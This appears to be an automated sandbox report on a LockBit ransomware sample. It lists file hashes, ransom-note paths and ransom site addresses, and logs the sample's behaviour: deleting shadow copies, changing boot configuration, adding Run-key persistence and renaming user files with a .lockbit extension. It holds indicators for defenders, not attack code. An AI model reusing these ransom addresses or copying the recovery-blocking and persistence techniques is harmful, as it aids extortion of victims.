Overview
overview
10Static
static
8pandora/3b...be.exe
windows7_x64
10pandora/3b...be.exe
windows10-2004_x64
10pandora/43...e4.exe
windows7_x64
10pandora/43...e4.exe
windows10-2004_x64
10pandora/54...97.exe
windows7_x64
10pandora/54...97.exe
windows10-2004_x64
10pandora/58...ce.exe
windows7_x64
10pandora/58...ce.exe
windows10-2004_x64
10pandora/6d...ae.exe
windows7_x64
10pandora/6d...ae.exe
windows10-2004_x64
10pandora/74...2d.exe
windows7_x64
10pandora/74...2d.exe
windows10-2004_x64
10pandora/89...d4.exe
windows7_x64
10pandora/89...d4.exe
windows10-2004_x64
10pandora/95...cf.exe
windows7_x64
10pandora/95...cf.exe
windows10-2004_x64
10pandora/b1...00.exe
windows7_x64
10pandora/b1...00.exe
windows10-2004_x64
10pandora/ce...6f.exe
windows7_x64
10pandora/ce...6f.exe
windows10-2004_x64
10pandora/ce...30.exe
windows7_x64
10pandora/ce...30.exe
windows10-2004_x64
10pandora/ce...e1.exe
windows7_x64
10pandora/ce...e1.exe
windows10-2004_x64
10pandora/eb...1d.exe
windows7_x64
10pandora/eb...1d.exe
windows10-2004_x64
10Analysis
-
max time kernel
151s -
max time network
43s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
05-05-2022 17:05
Static task
static1
Behavioral task
behavioral1
Sample
pandora/3b52db44c2cdd8adfacb906362837ed449e96fcf761de4b1f26388b66b6edabe.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
pandora/3b52db44c2cdd8adfacb906362837ed449e96fcf761de4b1f26388b66b6edabe.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
pandora/43ced481e0f68fe57be3246cc5aede353c9d34f4e15d0afe443b5de9514d3ce4.exe
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
pandora/43ced481e0f68fe57be3246cc5aede353c9d34f4e15d0afe443b5de9514d3ce4.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
pandora/54664bedb8b1e8e5a05a60490739080c757a234a71cbee0917f1bdfde3c95b97.exe
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
pandora/54664bedb8b1e8e5a05a60490739080c757a234a71cbee0917f1bdfde3c95b97.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
pandora/581b977029692c0b8599660f84374c9516275dd348f3ad62dab47dcc7fc44dce.exe
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
pandora/581b977029692c0b8599660f84374c9516275dd348f3ad62dab47dcc7fc44dce.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral9
Sample
pandora/6d26226f99724c18faf355a4e07b74bad72f5837e0de8c8361f7d9a18525b5ae.exe
Resource
win7-20220414-en
Behavioral task
behavioral10
Sample
pandora/6d26226f99724c18faf355a4e07b74bad72f5837e0de8c8361f7d9a18525b5ae.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral11
Sample
pandora/745a79a2bce5ad44a11a08abaa0b97b6849dd82177cc0dd7365f269078f6fc2d.exe
Resource
win7-20220414-en
Behavioral task
behavioral12
Sample
pandora/745a79a2bce5ad44a11a08abaa0b97b6849dd82177cc0dd7365f269078f6fc2d.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral13
Sample
pandora/890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
Resource
win7-20220414-en
Behavioral task
behavioral14
Sample
pandora/890c8453f6d62e49b77614199599848e6c58bfd38255be7d3809444012349ed4.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral15
Sample
pandora/95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe
Resource
win7-20220414-en
Behavioral task
behavioral16
Sample
pandora/95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral17
Sample
pandora/b131e8d134d56da4a7d894f6fbcacc6eb50f88aa72700ac539f4966bcccf0d00.exe
Resource
win7-20220414-en
Behavioral task
behavioral18
Sample
pandora/b131e8d134d56da4a7d894f6fbcacc6eb50f88aa72700ac539f4966bcccf0d00.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral19
Sample
pandora/ce8559871b410e23057393eb2d9fb76ec902da2ff1f8006ad312c81852a41f6f.exe
Resource
win7-20220414-en
Behavioral task
behavioral20
Sample
pandora/ce8559871b410e23057393eb2d9fb76ec902da2ff1f8006ad312c81852a41f6f.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral21
Sample
pandora/ce9261b9bcbf5be7ec01b8224ac5179b76108fe5d37a6bdc62731392df2b2c30.exe
Resource
win7-20220414-en
Behavioral task
behavioral22
Sample
pandora/ce9261b9bcbf5be7ec01b8224ac5179b76108fe5d37a6bdc62731392df2b2c30.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral23
Sample
pandora/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1.exe
Resource
win7-20220414-en
Behavioral task
behavioral24
Sample
pandora/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1.exe
Resource
win10v2004-20220414-en
Behavioral task
behavioral25
Sample
pandora/ebe038b29b9f535f975ac7e6c256b7b0597ff93710c2328e8c43a63c750b441d.exe
Resource
win7-20220414-en
Behavioral task
behavioral26
Sample
pandora/ebe038b29b9f535f975ac7e6c256b7b0597ff93710c2328e8c43a63c750b441d.exe
Resource
win10v2004-20220414-en
General
-
Target
pandora/95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe
-
Size
146KB
-
MD5
69bec32d50744293e85606a5e8f80425
-
SHA1
101b90ac7e0c2a8b570686c13dfa0e161ddd00e0
-
SHA256
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf
-
SHA512
e01f976fcbfa67cfd6e97855d07350a27b67fcc825d4e813ac9d2f4e8f464bb4f8bbbbe58a26bc27e78fa15db0ee5271e8f041dd72f036c11964eb1c591b438f
Malware Config
Extracted
C:\Program Files\7-Zip\Restore-My-Files.txt
lockbit
http://lockbit-decryptor.top/?BC76D224712A7481E0C0EAA9CBE8F2F8
http://lockbitks2tvnmwk.onion/?BC76D224712A7481E0C0EAA9CBE8F2F8
Extracted
C:\Users\Admin\Desktop\LockBit-note.hta
http://lockbit-decryptor.top/?BC76D224712A7481E0C0EAA9CBE8F2F8
http://lockbitks2tvnmwk.onion/?BC76D224712A7481E0C0EAA9CBE8F2F8
Signatures
-
Lockbit
Ransomware family with multiple variants released since late 2019.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 2820 bcdedit.exe 2832 bcdedit.exe -
Processes:
wbadmin.exepid process 2844 wbadmin.exe -
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exedescription ioc process File renamed C:\Users\Admin\Pictures\SwitchRead.tiff => C:\Users\Admin\Pictures\SwitchRead.tiff.lockbit 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Users\Admin\Pictures\OpenSync.tiff 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Users\Admin\Pictures\SwitchRead.tiff 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File renamed C:\Users\Admin\Pictures\InvokeOpen.raw => C:\Users\Admin\Pictures\InvokeOpen.raw.lockbit 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File renamed C:\Users\Admin\Pictures\MeasureCompress.tif => C:\Users\Admin\Pictures\MeasureCompress.tif.lockbit 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File renamed C:\Users\Admin\Pictures\MeasureInitialize.raw => C:\Users\Admin\Pictures\MeasureInitialize.raw.lockbit 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File renamed C:\Users\Admin\Pictures\OpenSync.tiff => C:\Users\Admin\Pictures\OpenSync.tiff.lockbit 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File renamed C:\Users\Admin\Pictures\PopSelect.crw => C:\Users\Admin\Pictures\PopSelect.crw.lockbit 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2836 cmd.exe -
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\Users\\Admin\\Desktop\\LockBit-note.hta" 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe Key created \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\pandora\\95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe\"" 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7FDB.tmp.bmp" 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
Processes:
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exepid process 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe 1472 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe -
Drops file in Program Files directory 64 IoCs
Processes:
95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exedescription ioc process File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21343_.GIF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\MSACCESS.DEV_F_COL.HXK 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN109.XML 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\LETTHEAD.XML 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Templates\1033\ExecutiveNewsletter.dotx 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00166_.WMF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\com-sun-tools-visualvm-modules-startup_zh_CN.jar 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-uisupport_ja.jar 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\modern_h.png 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR34F.GIF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\QuickStyles\DefaultBlackAndWhite.dotx 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\icon.png 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-4 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099185.JPG 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\MUSIC_01.MID 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\de-DE\css\settings.css 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-attach_zh_CN.jar 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\fr-FR\css\slideShow.css 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0195342.WMF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD21334_.GIF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\OUTLOOK.DEV_COL.HXT 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR40F.GIF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MEDIA\COIN.WAV 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Bangkok 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\Gadget_Main_Background_Loading.png 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\J0115866.GIF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\MEDIA\CHIMES.WAV 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Amman 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\it-IT\css\settings.css 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator_3.3.300.v20140518-1928.jar 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-execution_zh_CN.jar 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jre7\lib\images\cursors\invalid32x32.gif 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_box_right.png 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File created C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\de-DE\Restore-My-Files.txt 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0183328.WMF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\DVD Maker\rtstreamsink.ax 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\SMIMES.CFG 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-applemenu.jar 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-waxing-gibbous_partly-cloudy.png 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\AdobePDF417.pmp 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD14769_.GIF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Caracas 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-filesystems.xml 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-nodes.xml 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Resolute 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\en-US\clock.html 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00084_.WMF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\8.png 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.filetransfer_5.0.0.v20140827-1444.jar 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uz\LC_MESSAGES\vlc.mo 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0198113.WMF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD14516_.GIF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\FORMS\1033\POST.CFG 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\Restore-My-Files.txt 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0232395.WMF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01843_.GIF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21376_.GIF 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGLBL089.XML 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\PICSTYLES.DPV 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgeCalls.c 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-execution_ja.jar 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3_0.12.0.v20140227-2118.jar 95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf.exe -
